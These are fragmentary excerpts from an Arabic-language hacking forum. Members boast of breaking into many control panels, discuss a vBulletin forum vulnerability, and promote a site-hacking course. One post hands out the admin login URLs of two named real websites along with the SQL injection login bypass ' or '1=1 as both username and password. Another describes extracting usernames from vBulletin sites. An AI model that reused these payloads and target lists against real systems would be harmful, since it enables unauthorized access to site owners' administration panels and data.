الله يعطيك الف عافيه .. سووف انشر هذهي الرساله إلى جميع أخواني المسلمين .. وياليت فولكانو يدخل .. لإن الادمي هذا يستقبل اي اضافه ههههههههههههههههههههههه
منور الموضوع ياذيب العرب ههههههههههههههه
بس ترى تنفع ف اكثر المواقع .. انتم مو اذا وصلتو على موقع واحد وشفتو البيانات خاطئه تقولون خلاص
البيانات مو خاطئه بس الباسسورد .. متغير يعني لو تلاحظ قاعده البيانات مضبوطه واليوزر .. مضبوط نفسه
يعني حتى لو تتاكد ان اليوزر صحيح بس الباسسورد...
هههههههههههههههههههههههههه هو فعلا .. كلامك هذا صحيح بس الخطأ يوم تقول 2%
لو أوريك عدد السي بنل الي اخترقته ماراح تصدق :) من الثغرة هذي ..
بعدين الاستهداف يبي له تعب شوي يعني تمشي موقع موقع مـو اذا شفت لك موقع واحد او موقعين مادخل معك
باس الي حصلته بالكونفق تقول خلاص !! يبي لها صبر !! بس...
السلام عليكم .. ان شاء الله مرتاحين ي اعضاء العناكب .. فيه ثغرة .. وتسمى حالياُ ثغرة الحصر
والثغرة خاصه بمنتديات vb الثغرة .. هذي بسيطه جدا بس خطوره خطيره جداً ..
واستغلالها .. سهل جداُ انا شيكت على كذا موقع ومنتدى وحصلت الثغرة هذي فيها .. قسم بالله
بالهبل . كثر شعر راسك طريقة الثغرة...
السلام عليكم .. اخواني .. صراحه حبيت أنقل لكم .. دوره وبالنسبه لي تعتبر
أقوى دوره أختراق مواقع حتى الآن .. رايتها ، من خلال التنسيق ومن خلال الشرح ووتوصيل المعلومـه بـ شكل صحيح
طبعاً .. جميح الحقوق محفوظـه لـ الهكر الله يطول بعمره reno دوره ،، رائعة بجد أرجو من الجميع تحميلهاُ
انا شخصياً...
السلام عليكم .. هديه إلى الأعضاء موقعـين ودخول لوحـه التحكم :) ثغرة جديده
الموقع الأول =====================
http://vcp.madpage.com/admin.php
الموقـع الثاني ==================
http://www.b747.net/quiz/admin.php
user:' or '1=1
pass:' or '1=1
:) ما أدري هل هذا موقع أم استضافه لإني شاهدت...
اخواني على حسب .. المعلومات الي وصلتني عن الثغرة أعتقد ان الثغرة
الأستغلال ناقص ،، حتى لا تستغل الثغرة :)
فطرحها إلى الموقع حتى الأنتشار الى اصحاب المواقع والمسارعه بالترقيع أرجو أن نجد حل ألى باقي الاستغلال
منور المنتدى يالغالي .. بس بقول لك نصيحة أختراق المنتديات ،، من الصعب جـداً الشي هذا
لإن أكثر المنتديات يستخدمون سكربت vb مثال بسيط
www.xxx.com/vb
xxx=اسم الموقع
فيه عده طرق تستخرج يوزرات المواقع مثلا بالشكل هذا
www.vbspiders.com/~vbspiderscom
تكتب بعد رابط الموقع بهذا الشكل...